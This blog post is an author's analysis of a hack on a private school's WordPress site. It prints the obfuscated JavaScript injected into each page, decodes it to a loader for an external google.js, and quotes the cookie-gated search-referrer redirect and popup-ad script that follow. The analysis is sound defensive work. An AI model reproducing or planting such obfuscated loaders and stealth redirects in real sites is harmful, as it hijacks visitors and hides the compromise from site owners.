The website of a private school that I am loosely connected with was recently hacked. I discovered the problem when I did a google search for the school and the message “This site may be hacked” was displayed just below the title of the page in the search result.
Viewing the page source of several pages revealed this code had been inserted at the top of each page:
<script type="text/javascript">// <![CDATA[ eval(unescape('%66%75%6e%63%74%69%6f%6e%20%71%30%31%31%62%33%31%33%35%65%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%32%36%33%34%38%30%37%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%31%37%39%34%37%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%2d%32%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a')); eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%71%30%31%31%62%33%31%33%35%65%28%27') + '%3b%72%67%71%62%75%7f%25%77%7c%7b%63%38%21%71%65%7f%7f%36%65%64%79%64%7c%61%73%6e%75%74%21%2b%72%7d%62%3e%23%63%72%71%77%3b%33%34%65%64%71%64%77%60%7d%6b%37%60%76%6d%34%60%76%78%6e%6f%60%39%68%72%21%47%3c%34%7c%62%7d%6c%73%71%4912634807%35%37%32%35%39%37%39' + unescape('%27%29%29%3b')); // ]]></script>
The javascript above is obfuscated by using the ASCII escape code for each character in place of the actual character. Converting back to the actual characters makes the javascript human readable:
function q011b3135e(s){ var r = ""; var tmp = s.split("12634807"); s = unescape(tmp[0]); k = unescape(tmp[1] + "717947"); for (var i = 0; i < s.length; i ++ ){ r += String.fromCharCode((parseInt(k.charAt(i % k.length)) ^ s.charCodeAt(i)) +- 2); } return r; } document.write(q011b3135e(' %3b%72%67%71%62%75%7f%25%77%7c%7b%63%38%21%71%65%7f%7f%36%65%64%79%64%7c%61%73%6e%75%74%21%2b%72%7d%62%3e%23%63%72%71%77%3b%33%34%65%64%71%64%77%60%7d%6b%37%60%76%6d%34%60%76%78%6e%6f%60%39%68%72%21%47%3c%34%7c%62%7d%6c%73%71%4912634807%35%37%32%35%39%37%39'));
The first section of javascript defines the function q011b3135e(s). The second part of the javascript, the document.write call, calls the function.
The purpose of the q011b3135e(s) function is to decrypt the string passed to it. Variable “s” (not the function parameter “s”) holds the string to be decrypted and variable “k” contains the decryption key. A bitwise XOR operation is used, along with some other manipulation, to decrypt the string.
Once decrypted, the resulting string is:
<script type="text/javascript" src="http://javaterm.com/google.js"></script>
Thus the purpose of the obfuscated, encrypted javascript that was inserted into each WordPress page is to pull in the javascript contained in the file named google.js.
The google.js file contains the following:
var from = document.referrer; var i; var se = ["google", "yahoo", "bing", "yandex" , "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia", "search"]; for (i = 0; i < se.length; ++i) { if (from.indexOf(se[i]) + 1) { if (!checkCookie()) { window.location = "http://bit.ly/1glIErF"; } } } function getCookie(c_name) { var c_value = document.cookie; var c_start = c_value.indexOf(" " + c_name + "="); if (c_start == -1) { c_start = c_value.indexOf(c_name + "="); } if (c_start == -1) { c_value = null; } else { c_start = c_value.indexOf("=", c_start) + 1; var c_end = c_value.indexOf(";", c_start); if (c_end == -1) { c_end = c_value.length; } c_value = unescape(c_value.substring(c_start, c_end)); } return c_value; } function setCookie(c_name, value, exdays) { var exdate = new Date(); exdate.setDate(exdate.getDate() + exdays); var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()); document.cookie = c_name + "=" + c_value; } function checkCookie() { var referrerRedirectCookie = getCookie("referrerRedirectCookie"); if (referrerRedirectCookie != null && referrerRedirectCookie != "") { return true; } else { setCookie("referrerRedirectCookie", "do not redirect", 730); return false; } }
The code above does the following:
1. Checks to see if the HTTP REFERER contains a reference to one of the search engines in the list.
2. Checks if a cookie with the name referrerRedirectCookie is set.
3. If the referrer is a search engine and the specified cookie is not set, the browser is redirected to http://bit.ly/1glIErF, which in turn redirects to http://pagerank.net.au/img/popup.html
My guess is that the checks in items 1 and 2 above are done to prevent the site owner from being alerted to a problem with the site. Users who go directly to the site never notice a problem. A visitor from a search engine will be redirected, but only once. If you get redirected and think, “that was weird” and go back and try to reproduce the redirection, it won’t work. If you are unable to duplicate the problem, you might not be inclined to report it to anyone.
Continuing on to http://pagerank.net.au/img/popup.html we find that popup.html contains this:
<meta http-equiv="REFRESH" content="0; url=http://www.hotpopups.com/popupads.php?link=true&username=sunip99&sid=384&cap=0&type=1&open=1" />
This adds one more level of browser redirection, but this time it is a PHP file. The popupads.php file contains this:
var Popup = { AddListener: function(target, eventName, handler) { if (eventName == "beforeunload" || eventName == "unload") { var originalHandler = target["on" + eventName]; if (originalHandler) { target["on" + eventName] = function(e) { var ret = originalHandler(e); if (typeof(ret) == "undefined" || ret == "") ret = handler(e); return ret; }; } else { target["on" + eventName] = handler; } } else if (target.addEventListener) { target.addEventListener(eventName, handler, false); } else if (target.attachEvent) { target.attachEvent("on" + eventName, handler); } else { var originalHandler = target["on" + eventName]; if (originalHandler) { target["on" + eventName] = function(e) { originalHandler(e); handler(e); }; } else { target["on" + eventName] = handler; } } }, CreatePop: function(e) { var popURL = "about:blank" var popID = "ad_" + Math.floor(89999999 * Math.random() + 10000000); var pxLeft = 0; var pxTop = 0; // Place the window coordinates in the center of the active window pxLeft = (this.GetWindowLeft() + (this.GetWindowWidth() / 2) - (this.PopWidth / 2)); pxTop = (this.GetWindowTop() + (this.GetWindowHeight() / 2) - (this.PopHeight / 2)); // Create the popup this.PopWin = this.Window.open(popURL, popID, 'toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=' + pxTop + ',left=' + pxLeft + ',width=' + this.PopWidth + ',height=' + this.PopHeight); if (this.PopWin) { // We don't want to pop again on the same pop load. this.PopLoaded = true; // Increment the successfull pop count cookie this.SetPoppedTotal(); // Make the popup show either in front or behind the page if (this.PopFocus == 0) { this.PopWin.blur(); if (navigator.userAgent.toLowerCase().indexOf("applewebkit") > -1) { this.Window.blur(); this.Window.focus(); } } // Load the url in the placeholder window this.PopWin.Init = function(e) { with(e) { this.Params = e.Params; // IE9 Bugfix. "this" not functioning properly // Main code function this.Main = function() { if (typeof window.mozPaintCount != "undefined") { var x = this.window.open("about:blank"); x.close(); } // Set the parameters in the local scope var popURL = this.Params.PopURL; try { opener.window.focus(); } catch (err) {} if(opener != null) window.location = popURL; } this.Main(); } }; this.PopWin.Params = { PopURL: this.PopURL } this.PopWin.Init(this.PopWin); } return true; }, GetWindowHeight: function() { var myHeight = 0; if (typeof(this.Window.innerHeight) == 'number') { //Non-IE myHeight = this.Window.innerHeight; } else if (this.Window.document.documentElement && this.Window.document.documentElement.clientHeight) { //IE 6+ in 'standards compliant mode' myHeight = this.Window.document.documentElement.clientHeight; } else if (this.Window.document.body && this.Window.document.body.clientHeight) { //IE 4 compatible myHeight = this.Window.document.body.clientHeight; } return myHeight; }, GetWindowWidth: function() { var myWidth = 0; if (typeof(this.Window.innerWidth) == 'number') { //Non-IE myWidth = this.Window.innerWidth; } else if (this.Window.document.documentElement && this.Window.document.documentElement.clientWidth) { //IE 6+ in 'standards compliant mode' myWidth = this.Window.document.documentElement.clientWidth; } else if (this.Window.document.body && this.Window.document.body.clientWidth) { //IE 4 compatible myWidth = this.Window.document.body.clientWidth; } return myWidth; }, GetWindowTop: function() { return (this.Window.screenTop != undefined) ? this.Window.screenTop : this.Window.screenY; }, GetWindowLeft: function() { return (this.Window.screenLeft != undefined) ? this.Window.screenLeft : this.Window.screenX; }, InitPop: function(e) { // Allow one pop per page, prevent double execution if (this.PopLoaded || arguments.callee.init) return true; // Double check to see if the pop cap has been reached if (this.GetPoppedTotal() >= this.PopFreq) return true; arguments.callee.init = true; var status = this.CreatePop(e); arguments.callee.init = false; return status; }, Watch: function(ctx, options) { for (var i in options) { this[i] = options[i]; } this.Window = ctx; if (options.PopType == 1) { if (!Popup.InitPop()) { } } else Popup.AddListener(this.Window.document, "click", function(e) { if (!Popup.InitPop(e)) { if (e.preventDefault) { e.preventDefault() } e.returnValue = false; } }); }, CreateCookie: function(name, value, days) { if (days) { var date = new Date(); date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000)); var expires = "; expires=" + date.toGMTString(); } else var expires = ""; this.Window.document.cookie = name + "=" + value + expires + "; path=/"; }, ReadCookie: function(name) { var ca = this.Window.document.cookie.split(';'); var nameEQ = name + "="; for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); //delete spaces if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; }, GetPoppedTotal: function() { var popTotal = this.ReadCookie(this.CookieName); popTotal = (popTotal != null) ? parseInt(popTotal) : 0; return popTotal; }, SetPoppedTotal: function() { var popTotal = this.ReadCookie(this.CookieName); if (popTotal != null) this.CreateCookie(this.CookieName, parseInt(popTotal) + 1, 1); else this.CreateCookie(this.CookieName, 1, 1); } } var PopUpConfig = { CookieName: "nexus", PopType: 0, PopFocus: 0, PopURL: "http://www.adcash.com/script/packcpm.php?r=137016&subid=[subid]", PopFreq: 100, PopWidth: 1024, PopHeight: 768 } Popup.Watch(window, PopUpConfig); setTimeout("Popup.PopWin.close();",100000);
I have included the above php code so you can see it, but have no commentary to add.